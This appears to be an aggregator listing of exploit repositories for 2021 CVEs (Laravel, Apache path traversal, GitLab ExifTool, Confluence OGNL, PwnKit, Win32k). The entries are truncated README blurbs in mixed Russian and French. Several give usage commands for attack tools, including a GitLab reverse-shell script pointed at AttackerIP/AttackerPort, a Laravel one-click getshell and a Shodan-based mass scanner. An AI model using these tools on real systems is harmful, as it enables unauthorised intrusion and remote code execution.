CVE-2021-4034-CTF-writeup

CVE-2021-4034-CTF-writeup Это CTF-pwn задание, которое я написал на C, требующее от пользователя эксплуатации уязвимости CVE-2021-4034. Участникам выдаются 2 бинарных файла в каталоге challenge этого репозитория. Бинарник chal реализует задание CTF, а shelly.so — вспомогательный бинарник. Как...

laravel-exploits

laravel-exploits Exploit pour CVE-2021-3129 Détails : https://www.ambionics.io/blog/laravel-debug-rce Utilisation root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...

Apachuk

Apachuk - CVE-2021-41773 Récupérateur avec Shodan Récupérateur de traversée de répertoire Apache avec Shodan. Code réécrit depuis : https://github.com/mohwahyudi/cve-2021-41773 Comment utiliser pip3 install requirements.txt python3 main.py -a Clé API Shodan -k Mot-clé pour Shodan Clé API Shodan ?...

CVE-2021-42013

В этом репозитории нет README...

PrintNightmare-CVE-2021-1675

PrintNightmare-CVE-2021-1675 Youtube : https://youtu.be/Zr0KjYDSFKQ...

CVE-2021-42063

Badges Licence MIT Installation...

CVE-2021-40444-POC

Ce depot n’a pas de fichier README...

CVE-2021-3156-Patch

CVE-2021-3156-Patch Script de correctif pour le débordement de tas CVE-2021-3156...

Sigma-Rule-for-CVE-2021-22005-scanning-activity

Ce depot n’a pas de fichier README...

TIC4301_Project

TIC4301Project Проект TIC4301 - CVE-2021-40444 Загрузите следующие vagrant-боксы: Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing Импортируйте боксы следующими...

rqu1-cve-2021-3060.py

В этом репозитории нет README...

CVE-2021-41773

CVE-2021-41773 Привет, ребята! Вчера вышла новая CVE-2021-41773 для версии apache 2.4.49. В связи с этим я хочу рассказать об этой уязвимости в apache. Полигон Итак, думаю, вы, ребята, хотите протестировать эту уязвимость на сайте. Поэтому у меня есть для вас полигон. Это сайт, где можно скачать...

log4j-scanner

log4j-scanner Scanner de vulnérabilité Log4j 2 CVE-2021-44228 pour Windows OS. Exemple d'utilisation Utilisation root@kitploit: .\log4j-scanner.exe Terminal is used to output results, deploy this to machines via RMM and Start/Report from PowerShell or CMD Prompt. Compilation à partir des sources...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Использование root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Благодарности https://hackerone.com/reports/1154542 Фрагмент кода взят отсюда: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Отка...

Home-Demolisher

Home-Demolisher PoC pour CVE-2021-31166 et CVE-2022-21907 Utilisation : root@kitploit: usage: CVE-2021-31166.py -h -u URL -l LIST -o OUTPUT Description message options: -h, --help show this help message and exit -u URL, --url URL IIS Server url. For instance: 192.168.1.110 -l LIST, --list LIST II...

check-point-gateways-rce

Check Point Security Gateways RCE от element.security Протестировано на R81.10 T335, R80.40 T294 Пример использования: python3 checkpointgatewaysrce.py --mode dump https://192.168.0.100 Статья об исследовании: Check Point Security Gateways RCE через CVE-2021-40438/...

CVE-2021-4034

CVE-2021-4034 Pkexec...

CVE-2021-26086

CVE-2021-26084 root@kitploit: this is a script written in golang to exploit Confluence OGNL Injection CVE-2021-26084. root@kitploit: git clone https://github.com/march0s1as/CVE-2021-26084/ cd CVE-2021-26084 go get -v github.com/fatih/color go build post.go ./post.go -h...

CallbackHell

CallbackHell Exploit for CVE-2021-40449 Win32k - LPE CallbackHell Описание Техническое описание PoC Ссылки Описание CVE-2021-40449 — это use-after-free в Win32k, который позволяет повышать привилегии локально. Уязвимость была обнаружена в реальных атаках компанией Kaspersky. Обнаруженный эксплойт...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 GetShell одним кликом Использование python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 После успеха достаточно использовать 哥斯拉 для подключения...